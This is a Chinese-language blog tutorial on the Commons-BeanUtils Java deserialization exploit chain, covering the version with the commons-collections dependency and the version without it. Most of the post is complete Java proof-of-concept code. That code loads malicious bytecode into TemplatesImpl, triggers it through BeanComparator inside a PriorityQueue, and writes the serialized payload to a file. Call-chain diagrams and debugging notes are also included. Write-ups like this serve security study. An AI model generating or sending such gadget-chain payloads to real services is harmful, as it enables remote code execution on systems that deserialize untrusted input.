Commons-BeanUtils利用链

Commons-BeanUtils介绍

Apache Commons 工具集下除了collections以外还有BeanUtils,它主要用于操控JavaBean

  • 以 Utils 结尾,一般这都是一个工具类/集

JavaBean

就是一个实体类

  • JavaBean 类必须是一个公共类,并将其访问属性设置为 public ,如: public class Baby
  • JavaBean 类必须有一个空的构造函数:类中必须有一个不带参数的公用构造器,例如:public Baby()
  • 一个javaBean类不应有公共实例变量,类变量都为private ,如: private String name;
  • 一般JavaBean属性以小写字母开头,驼峰命名格式,相应的 getter/setter 方法是 get/set 接上首字母大写的属性名

Commons-BeanUtils操作JavaBean

1
2
PropertyUtils.setProperty(对象名,"属性名","属性值");
PropertyUtils.getProperty(对象名,"属性名");

通过getProperty()/setProperty方法可以直接执行函数,只要函数名前有get/set,只需要在写入后面的部分,就会执行该函数。

commons-beanutils利用链cc依赖

环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
jdk8u65
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.8.3</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>

cb链

恶意类加载部分和cc3l链一样,都是利用TemplatesImpl类的defineClass动态加载类,cc3是链式调用执行newTransformer()方法从而加载恶意类,而cb链是用TemplatesImpl类的getOutputProperties()方法执行newTransformer()方法

1
2
3
4
5
6
7
8
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}

根据CommonsBeanUtils工具,getProperty()函数可执行这个方法,从而加载恶意类

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class cbTest {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"sb");
byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class"));
byte[][] code={ eval };
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,code);
Field tfactoryField = clazz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
PropertyUtils.getProperty(templates,"outputProperties");
}
}

寻找主动调用 PropertyUtils.getProperty()

BeanComparator.compare()

BeanComparator.compare()方法会主动调用getProperty()

1
2
3
4
5
6
7
8
9
10
11
12
public int compare( Object o1, Object o2 ) {

if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}

try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class getProperty {
public static void main(String[] args) throws Exception{
Person person = new Person();
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"sb");
byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class"));
byte[][] code={ eval };
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,code);
Field tfactoryField = clazz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());

// templates.newTransformer();
// PropertyUtils.getProperty(templates,"outputProperties");
BeanComparator beanComparator = new BeanComparator("outputProperties");
beanComparator.compare(templates,templates);
}
}

PriorityQueue

关于compare方法,又想起了在cc4利用链中的PriorityQueue类

1
readObject()->heapify()->siftDown()->siftDownUsingComparator()->BeanComparator.compare()

PriorityQueue是个优先队列,因此还是需要往里面添加值

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class cb1 {
public static void main(String[] args) throws Exception{
Person person = new Person();
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"sb");
byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class"));
byte[][] code={ eval };
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,code);
Field tfactoryField = clazz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


BeanComparator comparator = new BeanComparator();

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field property = BeanComparator.class.getDeclaredField("property");
property.setAccessible(true);
property.set(comparator, "outputProperties");

serialize(priorityQueue);
deserialize();

}


public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb1.bin"));
oos.writeObject(obj);
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb1.bin"));
Object o = ois.readObject();


}
}

执行不了命令,调试一下

image-20250814231925536

image-20250814232026882

可以看到最后执行命令的对象是我们传入的队列,因此需要用反射修改传入的数据

1
2
3
4
5
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(priorityQueue);
queueArray[0] = templates;
queueArray[1] = templates;

cb链有cc依赖的最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package cb1;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb1 {
public static void main(String[] args) throws Exception{
Person person = new Person();
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"sb");
byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class"));
byte[][] code={ eval };
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,code);
Field tfactoryField = clazz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


BeanComparator comparator = new BeanComparator();

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field property = BeanComparator.class.getDeclaredField("property");
property.setAccessible(true);
property.set(comparator, "outputProperties");

Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(priorityQueue);
queueArray[0] = templates;
queueArray[1] = templates;
serialize(priorityQueue);
deserialize();

}


public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb1.bin"));
oos.writeObject(obj);
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb1.bin"));
Object o = ois.readObject();


}
}
1
2
3
4
5
6
7
8
9
10
11
readObject()
└─ PriorityQueue.readObject()
└─ heapify()
└─ siftDown()
└─ BeanComparator.compare()
└─ PropertyUtils.getProperty()
└─ TemplatesImpl.getOutputProperties()
└─ TemplatesImpl.newTransformer()
└─ TemplatesImpl.getTransletInstance()
└─ TemplatesImpl.defineTransletClasses()
└─ <clinit> of Evil.class ← 恶意代码执行

commons-beanutils利用链无cc依赖

如果没有cc依赖,构造器递归调用就会失败,因为没有ComparableComparator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public BeanComparator() {
this( null );
}
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
  • 无参构造里写 this(null) → 调用一参构造,参数是 null
  • 一参构造里写 this(property, ComparableComparator.getInstance()) → 调用三参构造,参数是你传进去的 propertyComparableComparator.getInstance()
  • 最终执行最底层构造器里的逻辑,然后返回上一层,一层层返回,整个对象构造完成

换句话说,this(...) 就像在构造器里递归调用其他构造器,只不过是对象构造的一部分

Comparator接口类

cc依赖的ComparableComparator类实现了Comparator接口,因此需要寻找实现了Comparator接口且可以被序列化的类

CaseInsensitiveComparator

CaseInsensitiveComparator类实现了Comparator接口,且可以被序列化,并且它有compare()方法

通过String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator对象,用它来实例化 BeanComparator

1
BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class test {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"sb");
byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class"));
byte[][] code={ eval };
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,code);
Field tfactoryField = clazz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator);
priorityQueue.add(1);
priorityQueue.add(2);

Field property = BeanComparator.class.getDeclaredField("property");
property.setAccessible(true);
property.set(comparator, "outputProperties");
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(priorityQueue);
queueArray[0] = templates;
queueArray[1] = templates;
serialize(priorityQueue);
deserialize();

}


public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb2.bin"));
oos.writeObject(obj);
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb2.bin"));
Object o = ois.readObject();


}
}

执行发现报错

1
Exception in thread "main" java.lang.ClassCastException: java.lang.Integer cannot be cast to java.lang.String

传进去的数字队列无法转为字符型,CaseInsensitiveComparator.compare()要求的是字符型,因此,只需要传字符即可

1
public int compare(String s1, String s2)

cb链无cc依赖最终poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package cb2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb2 {
public static void main(String[] args) throws Exception{

TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> clazz = templates.getClass();
Field nameField = clazz.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"sb");
byte[] eval = Files.readAllBytes(Paths.get("D:\\Maven\\project\\cb\\commons-beanutils\\src\\main\\java\\cb1\\Evil.class"));
byte[][] code={ eval };
Field bytecodesField = clazz.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,code);
Field tfactoryField = clazz.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates,new TransformerFactoryImpl());


BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(comparator);
priorityQueue.add("1");
priorityQueue.add("2");

Field property = BeanComparator.class.getDeclaredField("property");
property.setAccessible(true);
property.set(comparator, "outputProperties");
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(priorityQueue);
queueArray[0] = templates;
queueArray[1] = templates;
serialize(priorityQueue);
deserialize();

}


public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cb2.bin"));
oos.writeObject(obj);
}

public static void deserialize() throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cb2.bin"));
Object o = ois.readObject();


}
}
1
2
3
4
5
6
7
8
9
10
11
12
ObjectInputStream.readObject()
└─ PriorityQueue.readObject()
└─ PriorityQueue.heapify()
└─ PriorityQueue.siftDown()
└─ BeanComparator.compare()
└─ PropertyUtils.getProperty(o1, "outputProperties")
└─ TemplatesImpl.getOutputProperties()
└─ TemplatesImpl.newTransformer()
└─ TemplatesImpl.getTransletInstance()
└─ TemplatesImpl.defineTransletClasses()
└─ defineClass() -> 加载 Evil.class
└─ static { ... } // 恶意代码执行

Commons-BeanUtils利用链
http://xiaowu5.cn/2025/12/04/Commons-BeanUtils利用链/
作者
5
发布于
2025年12月4日
许可协议
BY XIAOWU